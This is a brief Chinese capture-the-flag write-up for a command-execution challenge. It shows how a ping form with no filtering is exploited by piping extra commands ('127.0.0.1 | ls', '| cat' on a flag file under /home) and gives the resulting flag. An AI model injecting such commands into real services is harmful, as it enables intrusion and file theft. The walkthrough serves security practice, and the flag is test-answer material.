场景:command_execution
问题描述:
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
解决方案:
先尝试输入本地IP:
ping -c 3 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.088 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.052 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.038 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.038/0.059/0.088/0.022 ms
然后输入命令:ping -c 3 127.0.0.1 | ls:
ping -c 3 127.0.0.1 | ls
index.php
在home文件目录下发现:flag.txt:
ping -c 3 127.0.0.1 | ls ../../../home/
flag.txt
尝试打开flag.txt,输入控制台命令:127.0.0.1 | cat …/…/…/home/flag.txt,
得到 flag:cyberpeace{9a27a9c1e0ac69bd09ddf1d1557ea2aa}
提示:每个人的flag都不同